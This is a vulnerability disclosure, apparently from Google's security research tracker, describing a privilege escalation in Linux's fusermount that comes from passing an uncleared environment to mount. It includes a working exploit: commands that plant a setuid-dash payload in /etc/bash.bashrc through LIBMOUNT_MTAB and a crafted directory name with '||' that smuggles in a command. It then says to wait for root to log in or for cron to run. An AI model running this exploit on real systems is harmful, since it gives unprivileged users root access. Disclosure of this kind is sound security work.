Linux: fuse privilege escalation

The fusermount binary calls setuid(geteuid()) to reset the ruid when
it invokes /bin/mount so that it can use privileged mount options that
are normally restricted if ruid != euid. That's acceptable (but scary)
in theory, because fusermount can sanitize the call to make sure it's
safe.

http://sources.debian.net/src/fuse/2.9.3-15/util/mount_util.c/?hl=99#L99

However, because mount thinks it's being invoked by root, it allows
access to debugging features via the environment that would not
normally be safe for unprivileged users and fusermount doesn't
sanitize them.

Therefore, the bug is that the environment is not cleared when calling
mount with ruid=0. One debugging feature available is changing the
location of /etc/mtab by setting LIBMOUNT_MTAB, which can be abused to
overwrite arbitrary files.

This can be exploited like so.

$ printf "chmod 4755 /bin/dash" > /tmp/exploit && chmod 755 /tmp/exploit
$ mkdir -p '/tmp/exploit||/tmp/exploit'
$ LIBMOUNT_MTAB=/etc/bash.bashrc  _FUSE_COMMFD=0 fusermount
'/tmp/exploit||/tmp/exploit'
fusermount: failed to open /etc/fuse.conf: Permission denied
sending file descriptor: Socket operation on non-socket
$ cat /etc/bash.bashrc
/dev/fuse /tmp/exploit||/tmp/exploit fuse rw,nosuid,nodev,user=taviso 0 0

Then simply wait for root to login, or alternatively overwrite
/etc/default/locale and wait for cron to run a script that sources it.
That means root wouldn't have to log in, but you would have to wait
around until midnight to check if it worked.

Tavis.

P.S. Just for fun, I also came up with a version that fits in a tweet
https://twitter.com/taviso/status/601370527437967360

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Original issue reported on code.google.com by cev...@google.com on 22 May 2015 at 6:40
pocute / google-security-research

Linux: fuse privilege escalation #405
